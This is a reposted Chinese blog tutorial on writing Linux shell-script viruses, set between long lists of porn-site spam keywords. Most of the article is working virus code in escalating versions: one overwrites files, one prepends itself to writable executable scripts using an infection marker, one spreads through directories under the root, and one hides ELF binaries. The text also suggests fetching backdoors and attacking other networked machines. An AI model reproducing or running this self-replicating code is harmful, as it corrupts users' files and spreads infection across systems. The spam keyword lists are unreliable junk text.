日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

病毒研究之感染linux脚本

發布時間:2025/5/22 linux 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 病毒研究之感染linux脚本 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?病毒研究之感染linux腳本?

?? 對于shell編程的程序員來說所謂的shell病毒技術就是小牛一毛而已,看完本文后你就會有所體會但,簡單歸簡單,我們還是要去了解它,呵呵.?
主要的shell病毒技術?
-------------------?
當然,本文需要你至少了解linux shell編程的基礎知識和病毒知識.?
我們來看一個最原始的shell病毒,代碼最能說明問題:?
代碼:?
#shellvirus I?
for file in *?
do?
?? cp $0 $file?
done?
簡單吧?遍歷當前文件系統的所有文件,然后覆蓋所有文件.但是,我們知道linux是多用戶的操作系統,它的文件是具有保護模式的,所以以上的腳本有可能會報出一大堆的錯誤,所以它很快就會被管理員發現并制止它的傳染.所以我們可以為該腳本做個判斷,這樣隱蔽性就大大增強了:?
代碼:?
#shellvirus II?
for file in *?
??do?
????if test -f $file?
????then?
???? if test -x $file?
???? then?
??????if test -w $file?
??????then?
?????? if grep -s echo $file >.mmm?
?????? then?
?????? cp $0 $file?
??fi; fi; fi; fi; fi?
done?
rm .mmm -f?
我們改進了一下,加了若干的判斷,判斷文件是否存在,是否文件可執行,是否我們有權限寫,再判斷它是否是腳本程序。如果是就cp $0 $file,所以這段代碼是感然該系統所有的腳本程序的,危害性還是比較大的.?
if grep -s echo $file>/.mmm?
這句也可以這樣寫:?
if file $file | grep -s 'Bourne shell script' > /dev/nul ;?
then,也就是判斷file是否為shell腳本程序.?
但是,腳本病毒一旦在感染完畢之后就什么也不做了,它沒有象二進制病毒那樣的潛伏的危害性,而且以上的腳本只是簡單的覆蓋宿主而已,所以我這里利用了一下傳統的二進制病毒的感染機制,效果也不錯,?
看看下面代碼:?
#infection?
head -n 24 $0 > .test????????<-取自身保存到.test?
??for file in *????????????<-遍歷文件系統?
??do?
?? if test -f $file????????<-判斷是否為文件?
?? then?
?????? if test -x $file????????<-判斷文件是否可執行?
?????? then?
????????????if test -w $file????<-判斷文件是否可寫?
????????????then?
??????????????if grep -s echo $file >.mmm????<-判斷是否為腳本程序?
??????????????then?
????????????????head -n 1 $file >.mm????????<-提取要感染的腳本程序的第一行?
????????????????if grep -s infection .mm >.mmm????<-判斷該文件是否已經被感染?
???
????????????????then?
???????????????? rm -f .mm????????????<-已經被感染,則跳過?
????????????????else????????????????<-還未被感染?
???????????????? cat $file > .SAVEE????????<-很熟悉吧?借用了傳統的二進制文件的感染機制?
???????????????? cat .test > $file?
???????????????? cat .SAVEE >> $file?
?? fi; fi; fi; fi; fi?
done?
rm .test .SAVEE .mmm .mm -f?
程序的注解足以說明了,其實增加了潛伏的危害性,但還是特容易被發現,沒辦法的事情,shell腳本一般都是明文的,呵呵.不過危害性已經相當大了.這段程序用了一個感染標志:infection來判斷是否已經被感染,著在程序中可以反應出來.?
為了使上面的代碼不容易被發現,我必須優化它,最先考慮的肯定是精練代碼:?
代碼:?
#infection?
for file in * ;??do?
?? if test -f $file && test -x $file && test -w $file ; then?
????if grep -s echo $file > /dev/nul ; then?
???? head -n 1 $file >.mm?
??????if grep -s infection .mm > /dev/nul ; then?
?????? rm .mm -f ; else?
????????cat $file > .SAVEE?
????????head -n 13 $0 > $file?
????????cat .SAVEE >> $file?
??fi; fi; fi?
done?
rm .SAVEE .mm -f?
現在只有兩個臨時文件的產生了,代碼也被精簡到了13行.當然可以完全用;來把代碼甚至寫到1-2行,但這里我只是說明問題,就不寫出來了.?
好,我們看看,shell病毒還能做哪些有用的事情,有可能我們想感染別的目錄的文件,比如根目錄或者是/etc,/bin等等,因為大多數有用的系統配置腳本都存放在那些目錄下,只要對上述代碼稍作改動就可以實現了?
代碼:?
#infection?
xtemp=$pwd????????????????<-保存當前路徑?
head -n 22 $0 > /.test?
for dir in /* ; do????????????<-遍歷/目錄?
??if test -d $dir ; then????????<-如果是目錄就cd該目錄?
?? cd $dir?
?? for file in * ; do????????????<-遍歷該目錄文件?
????if test -f $file && test -x $file && test -w $file ; then????<-確定文件是否可執行,可寫?
???? if grep -s echo $file > /dev/nul ; then????????????<-確定是否為腳本程序???
?????? head -n 1 $file > .mm?
?????? if grep -s infection .mm > /dev/nul ; then????????<-確定是否已經被感染?
???
????????rm .mm -f ; else?
???????? cat $file > /.SAVEE????????????????<-和前面的感染機制一樣感染未被感染的腳本程序?
???????? cat /.test > $file?
???????? cat /.SAVEE >> $file?
????fi; fi; fi?
?? done?
?? cd ..?
??fi?
done?
cd $xtemp????????<-返回原目錄?
rm /.test /.SAVEE .mm -f?
????其實這段代碼只感染了/目錄下的一層目錄.當然我們可以使它感染的更深,只是加幾個循環而已.同樣shell病毒可以做很多事情如download后門程序,為機器自動開后門,主動去***聯網的其他機器,取用戶的email來發送傳染等等.總之它的實現技術不高深, 但也比較實用,還是值得去說明一下的,呵呵.?
????同樣,我們也可以感染elf文件,但危害性很小,這里不重點講,給個例程大家理解一下吧?
代碼:?
for file in * ;??do?
?? if test -f $file && test -x $file && test -w $file ; then?
????if file $file | grep -s 'ELF' > /dev/nul ; then?
???? mv $file .$file?
???? head -n 9 $0 > $file?
??fi; fi?
done?
$0

轉載于:https://blog.51cto.com/coolface/765600

總結

以上是生活随笔為你收集整理的病毒研究之感染linux脚本的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 激情小说综合 | 亚洲国产精品毛片av不卡在线 | 日本簧片在线观看 | 国内自拍亚洲 | 亚洲免费综合 | 91深夜视频 | 欧美日韩黄色片 | 亚洲一二三级 | 欧洲av无码放荡人妇网站 | 久久久久久久无码 | 亚洲砖区区免费 | 视频一区国产 | 久久久wwww| www.人人草 | 国产欧美一区二区三区在线看蜜臂 | 欧美交换国产一区内射 | 日韩三级中文 | 好男人天堂网 | 免费在线播放 | 日韩有码中文字幕在线观看 | 国产日韩在线视频 | 伊人快播| 国产欧美亚洲精品 | 国产精品熟女一区二区不卡 | 久久久久久91 | 伊人色影院 | 在线观看成人一区 | 青青草网站 | jizz性欧美15 | 最新日韩一区 | 国产欧美一区二区三区在线看蜜臀 | 日本一区二区三区视频在线播放 | 男女一级片 | 日本69式三人交 | 久久婷婷av | 久久92| 成人性生交大片免费看中文 | 99精品视频国产 | 一级坐爱片 | 精品人妻人人做人人爽夜夜爽 | 日韩精品五区 | 激情久久久 | 亚洲乱熟女一区二区 | 秘密基地电影免费版观看国语 | 欧美视频在线一区二区三区 | 国产欧美日韩综合精品一区二区 | 欧美 日韩 国产在线 | 久久久97 | 国产又大又黄视频 | 亚洲精品网站在线 | 欧美国产精品一二三 | 午夜视频在线观看视频 | 国产日韩视频 | 久久这里有精品视频 | 国产一区二区三区视频免费在线观看 | 日韩精品一区二区三区在线视频 | 久久久久久国产精品三区 | 一本色道久久综合亚洲精品酒店 | av日韩av| 91视频h | 国产一区二区在线播放视频 | 美女xx网站| 午夜看看 | 欧美大尺度做爰啪啪床戏明星 | 亚洲一区二区视频 | 欧美色射 | 美脚の诱脚舐め脚视频播放 | 男人都懂的网址 | 天堂网久久 | 爱草在线视频 | 又黄又爽的视频 | 精品视频一区二区在线 | 欧美国产日韩一区二区 | 看久久| 在线观看国产黄 | 五月天激情综合 | 伊人久久五月 | 日韩黄色免费看 | videos麻豆 | 久久久久亚洲av成人人电影 | 诱惑の诱惑筱田优在线播放 | 男人的天堂av网 | 好吊色视频一区二区 | 色窝窝无码一区二区三区成人网站 | 美女的诞生免费观看在线高清 | 亚洲av无码电影在线播放 | 欧美成人看片黄a免费看 | 欧美在线免费播放 | 亚洲av日韩av高潮潮喷无码 | 中文字幕网址在线 | 色悠悠在线视频 | 九九热在线视频观看 | 欧美日韩成人免费 | 奇米777色| 97在线播放免费观看 | 亚洲av激情无码专区在线播放 | 男人插女人的网站 | 国产熟女精品视频 | 神马午夜激情 |